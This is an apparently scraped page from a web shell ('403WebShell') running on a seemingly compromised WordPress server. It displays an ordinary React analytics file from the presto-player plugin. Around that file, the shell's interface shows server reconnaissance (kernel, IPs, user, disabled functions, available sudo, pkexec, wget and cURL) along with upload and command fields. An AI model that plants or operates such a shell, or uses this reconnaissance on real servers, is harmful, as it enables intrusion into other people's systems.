Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 104.21.25.182  /  Your IP : 216.73.216.214
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/presto-player/src/admin/analytics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/presto-player/src/admin/analytics/App.js
const { useState } = wp.element;

import { Route, Router } from "@/router";

import AnalyticsUpgrade from "./pages/AnalyticsUpgrade";
import Dashboard from "./pages/Dashboard";

import User from "./pages/User";
import Video from "./pages/Video";
import { routes } from "./routes";

export default () => {
  const scrollToTop = () => {
    window.scrollTo(0, 0);
  };

  const [startDate, setStartDate] = useState(
    new Date(Date.now() - 7 * 24 * 60 * 60 * 1000)
  );
  const [endDate, setEndDate] = useState(new Date());

  if (!prestoPlayer?.isPremium) {
    return (
      <div className="presto-dashboard__content">
        <AnalyticsUpgrade />
      </div>
    );
  }

  return (
    <div className="presto-dashboard__content">
      <Router routes={routes}>
        <Route path={routes.dashboard.path} onRoute={scrollToTop}>
          <Dashboard
            startDate={startDate}
            endDate={endDate}
            setStartDate={setStartDate}
            setEndDate={setEndDate}
          />
        </Route>
        <Route path={routes.video.path} onRoute={scrollToTop}>
          <Video
            startDate={startDate}
            endDate={endDate}
            setStartDate={setStartDate}
            setEndDate={setEndDate}
          />
        </Route>
        <Route path={routes.user.path} onRoute={scrollToTop}>
          <User
            startDate={startDate}
            endDate={endDate}
            setStartDate={setStartDate}
            setEndDate={setEndDate}
          />
        </Route>
      </Router>
    </div>
  );
};

Youez - 2016 - github.com/yon3zu
LinuXploit